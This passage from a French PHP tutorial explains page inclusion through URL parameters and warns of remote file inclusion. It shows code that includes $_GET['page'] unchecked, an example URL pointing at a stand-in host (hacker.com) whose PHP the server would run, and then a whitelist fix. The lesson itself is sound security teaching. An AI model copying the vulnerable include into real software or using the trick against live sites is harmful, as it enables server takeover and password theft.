• Aucun résultat trouvé

De la même manière que la méthode précédente, il y a un avantage et un défaut :

Avantage : on peut facilement changer toute l'apparence de votre site sans problème. Certains trouveront aussi peut-être ce code plus "séduisant" (si toutefois il est possible de trouver un code séduisant).

Défaut : si vous ne faites pas très attention au code que vous écrivez, votre site web sera vulnérable et il sera asssez facile de récupérer votre mot de passe MySQL par exemple...

A noter que cette méthode est utilisée par un bon nombre de sites web, mais encore une fois je ne vous la conseille pas trop.

Le fonctionnement est ici complètement l'inverse : au lieu d'inclure l'en-tête de vos pages, les menus etc... Vous créez une page qui contient tout sauf le corps de votre page : vous mettez donc vos balises <html>, <head>, <title>, vos menus, votre copyright, puis vous fermez les balises </body> et </html>. Et là, vous allez inclure la page que vous souhaitez afficher. Par exemple, si vous voulez inclure la page minichat.php, vous ferez comme ceci :

Source 3.1.7 : approche de la méthode dangereuse <html>

<head>

<title>Mon super site !</title> </head>

<body>

<? include("minichat.php"); ?>

Ce site a été écrit par Mateo21. </body>

</html>

Pas du tout, malheureux !

L'astuce utilisée ici, c'est que l'on va recevoir une variable avec l'url. Vous vous souvenez de index.php?langue=fr&truc=bidule n'est-ce pas ? Eh bien, dans toutes les pages du site, on va transmettre une information qui contiendra le nom de la page à inclure, par exemple :

index.php?page=minichat

On reprend maintenant le code 3.1.7 :

Source 3.1.8 : la méthode dangereuse <html>

<head>

<title>Mon super site !</title> </head>

<body> <?

$page = $_GET['page']; include("$page.php");

?>

Ce site a été écrit par Mateo21. </body>

</html>

Si l'url contient index.php?page=minichat, alors on incluera minichat.php Si l'url contient index.php?page=news, alors on incluera news.php

Si l'url contient index.php?page=forum, alors on incluera forum.php

Si l'url contient index.php?page=http://www.hacker.com/pagespeciale, alors on incluera http://www.hacker.com/pagespeciale.php

Euh, attends une minute là, tu peux m'expliquer le dernier exemple ?

Oui, je crois que des explications s'imposent... Regardez en haut de cette page web, vous pouvez modifier facilement l'url, donc modifier facilement la page qui sera incluse !!! Et vu le code PHP qui a été utilisé, on peut très facilement inclure une page située sur un autre site ! Du coup, en modifiant juste l'url de la page, PHP va exécuter cette instruction :

<? include("http://www.hacker.com/pagespeciale.php"); ?>

Qu'est-ce qu'on risque ? C'est simple, je n'ai qu'à modifier l'url pour mettre l'adresse d'un fichier PHP sur un FTP à moi, et c'est VOTRE serveur qui exécutera le code de ma page (pagespeciale.php).

Et alors ?

Eh bien, je n'ai qu'à dire à PHP : "Donne-moi le mot de passe de ce site"

Et hop, comme ça je peux accéder à un FTP qui ne m'appartient pas, modifier tous les fichiers que je veux, faire un bordel monstre... Que de joyeusetés illégales qui n'ont aucun intérêt, mais ça amuse

certains abrutis (et je pèse mes mots) qui veulent montrer ainsi qu'ils sont "les plus forts". Hum, je m'emporte là !!!!

Bien entendu, on ne peut pas dire à PHP de sortir tous les mots de passe du site comme ça, c'est un peu plus compliqué. Mais, réveillez-vous : vous êtes ici pour apprendre le PHP, pas pour apprendre comment hacker un site web hein ?

Moi, tout ce qui m'intéresse ici, c'est de vous sensibiliser au fait que ce que vous écrivez en PHP peut mettre en danger la sécurité de votre site. Vous venez de le voir sur un exemple concret : je viens de vous faire, sans que vous vous en rendiez compte, une ouverture aux problèmes de sécurité du PHP. Ce sont des problèmes qui ne vous préoccupent pas encore trop pour le moment, mais quand vous serez bons (et vous n'allez pas tarder à l'être, croyez-moi), vous verrez que vous ferez très attention à la sécurité sur votre site.

Pour le moment, je vous rassure, on n'en est pas encore là, alors vous pouvez continuer à lire le tuto PHP tranquillement. Vous apprendrez tout cela petit à petit.

Avant de nous quitter, voyons une des solutions possibles pour résoudre le problème de sécurité (il y en a plusieurs) :

Source 3.1.9 : méthode bien moins dangereuse <html>

<head>

<title>Mon super site !</title> </head>

<body> <?

if ($_GET['page'] == "minichat") {

include("minichat.php"); }

if ($_GET['page'] == "news") {

include("news.php"); }

if ($_GET['page'] == "forum") {

include("forum.php"); }

?>

Ce site a été écrit par Mateo21. </body>

</html>

Si un hacker essaie de changer l'url, aucun des if ne sera valable donc rien ne sera inclus. Ouf ! Ça implique de faire autant de if qu'il n'y a de pages sur votre site, c'est pas super pratique... Voilà

Voilà, vous savez tout ce qu'il y a à savoir sur les includes.

Comme vous avez pu le constater ça n'est absolument pas sorcier, et pourtant grâce à ce truc on peut déjà rendre son site bien plus agréable !

Faire Joujou Avec Des Variables

Documents relatifs